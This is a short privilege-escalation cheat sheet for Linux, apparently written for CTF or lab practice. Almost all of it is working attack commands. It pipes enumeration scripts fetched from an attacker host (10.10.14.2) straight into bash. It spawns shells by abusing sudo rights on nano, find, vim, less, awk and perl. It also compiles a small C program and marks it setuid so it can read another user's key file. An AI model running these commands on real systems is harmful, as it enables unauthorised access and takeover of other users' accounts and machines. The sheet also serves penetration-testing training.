Cheat Sheet :: Privilege Escalation

Using scripts to enum the machine

1
2
curl 10.10.14.2/linpeas.sh | bash
curl 10.10.14.2/LinEnum.sh | bash

Nano privilege escalation

1
sudo -u root /bin/nano /opt/priv
1
Ctrl+R

/pics/nano-001.png

1
2
Press Ctrl + X
reset; sh 1>&0 2>&0

/pics/nano-002.png


Sudo privilege escalation

Listing allowed sudo commands

1
sudo -l

Impersonating with sudo

1
sudo -u victim command

Escalating privileges with find command

1
sudo -u victim /usr/bin/find -exec /bin/bash \;

Escalating privileges with vim editor

1
2
3
4
sudo -u victim /usr/bin/vim

# Inside the vim we can call a shell
:!/bin/bash

Escalating privileges with less command

1
sudo -u victim less /home/victim/key.txt
1
!/bin/bash

Escalating privileges with awk command

1
2
3
4
5
# Reading files with awk
sudo -u victim /usr/bin/awk '{print $1}' /home/victim/key.txt

# Executing command within awk
sudo -u victim /usr/bin/awk 'BEGIN {system("/bin/bash")}'

Escalating privileges with chmod

1
2
3
4
5
6
#include<stdio.h>

int main(void)
{
    system("cat /home/victim/key.txt");
}
1
2
cd /tmp
gcc exploit.c -o exploit
1
2
3
sudo -u victim cp exploit exploit2
sudo -u victim chmod +xs exploit2
./exploit2

Escalating privileges with perl

1
sudo -u victim perl -e 'exec "/bin/bash";'